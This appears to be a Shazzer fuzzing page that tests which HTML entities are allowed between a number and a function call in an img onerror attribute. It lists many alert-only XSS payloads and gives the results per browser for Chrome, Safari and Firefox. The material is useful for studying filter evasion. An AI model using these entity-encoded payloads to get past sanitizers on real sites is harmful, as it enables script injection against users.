Entities allowed between function call and number

This vector uses Shazzer's new features to check which entities are allowed between a function call and number using images. The results are a bit inconsistent yet because I currently wait for page load.

Created by: hackvertor

Created on: 7/2/2024, 11:29:20 AM

Updated on: 7/4/2024, 1:20:10 AM

Vector type: XSS

Template used:
<img src=data: onerror="1$[data1]log('html($[data1])')">

Your browser was detected as:

Detecting... Detecting... Detecting... Detecting...

Sample payloads

<img src=data: onerror="1&VerticalLine;alert('&VerticalLine;')"><img src=data: onerror="1&semi;alert('&semi;')"><img src=data: onerror="1&midast;alert('&midast;')"><img src=data: onerror="1&alert('&amp;')"><img src=data: onerror="1&NewLine;alert('&NewLine;')"><img src=data: onerror="1+alert('&plus;')"><img src=data: onerror="1&LT;alert('&LT;')"><img src=data: onerror="1/alert('&sol;')"><img src=data: onerror="1&ast;alert('&ast;')"><img src=data: onerror="1&Hat;alert('&Hat;')"><img src=data: onerror="1<alert('&lt;')"><img src=data: onerror="1|alert('&verbar;')"><img src=data: onerror="1,alert('&comma;')"><img src=data: onerror="1>alert('&gt;')"><img src=data: onerror="1|alert('&vert;')"><img src=data: onerror="1&GT;alert('&GT;')"><img src=data: onerror="1&AMP;alert('&AMP;')"><img src=data: onerror="1&percnt;alert('&percnt;')"><img src=data: onerror="1|alert('&vert;')"><img src=data: onerror="1&NewLine;alert('&NewLine;')"><img src=data: onerror="1&ast;alert('&ast;')"><img src=data: onerror="1&LT;alert('&LT;')"><img src=data: onerror="1&semi;alert('&semi;')"><img src=data: onerror="1&Hat;alert('&Hat;')"><img src=data: onerror="1&AMP;alert('&AMP;')"><img src=data: onerror="1&percnt;alert('&percnt;')"><img src=data: onerror="1,alert('&comma;')"><img src=data: onerror="1|alert('&verbar;')"><img src=data: onerror="1&GT;alert('&GT;')"><img src=data: onerror="1+alert('&plus;')"><img src=data: onerror="1&VerticalLine;alert('&VerticalLine;')"><img src=data: onerror="1/alert('&sol;')"><img src=data: onerror="1>alert('&gt;')"><img src=data: onerror="1&midast;alert('&midast;')"><img src=data: onerror="1&alert('&amp;')"><img src=data: onerror="1<alert('&lt;')"><img src=data: onerror="1&alert('&amp;')"><img src=data: onerror="1&AMP;alert('&AMP;')"><img src=data: onerror="1&ast;alert('&ast;')"><img src=data: onerror="1,alert('&comma;')"><img src=data: onerror="1>alert('&gt;')"><img src=data: onerror="1&GT;alert('&GT;')"><img src=data: onerror="1&Hat;alert('&Hat;')"><img src=data: onerror="1<alert('&lt;')"><img src=data: onerror="1&LT;alert('&LT;')"><img src=data: onerror="1&midast;alert('&midast;')"><img src=data: onerror="1&NewLine;alert('&NewLine;')"><img src=data: onerror="1&percnt;alert('&percnt;')"><img src=data: onerror="1+alert('&plus;')"><img src=data: onerror="1&semi;alert('&semi;')"><img src=data: onerror="1/alert('&sol;')"><img src=data: onerror="1|alert('&verbar;')"><img src=data: onerror="1|alert('&vert;')"><img src=data: onerror="1&VerticalLine;alert('&VerticalLine;')">

Fuzz results

Chrome 126.0.0.0 desktop macOS 10.15.7

Found 18 results

Show differences only?

Data
&

Data
&AMP;

Data
&ast;

Data
,

Data
>

Data
&GT;

Data
&Hat;

Data
<

Data
&LT;

Data
&midast;

Data
&NewLine;

Data
&percnt;

Data
+

Data
&semi;

Data
/

Data
\|

Data
\|

Data
&VerticalLine;

Safari 18.0 desktop macOS 10.15.7

Found 18 results

Show differences only?

Data
&

Data
&AMP;

Data
&ast;

Data
,

Data
>

Data
&GT;

Data
&Hat;

Data
<

Data
&LT;

Data
&midast;

Data
&NewLine;

Data
&percnt;

Data
+

Data
&semi;

Data
/

Data
\|

Data
\|

Data
&VerticalLine;

Firefox 127.0 desktop macOS 10.15

Found 18 results

Show differences only?

Data
&

Data
&AMP;

Data
&ast;

Data
,

Data
>

Data
&GT;

Data
&Hat;

Data
<

Data
&LT;

Data
&midast;

Data
&NewLine;

Data
&percnt;

Data
+

Data
&semi;

Data
/

Data
\|

Data
\|

Data
&VerticalLine;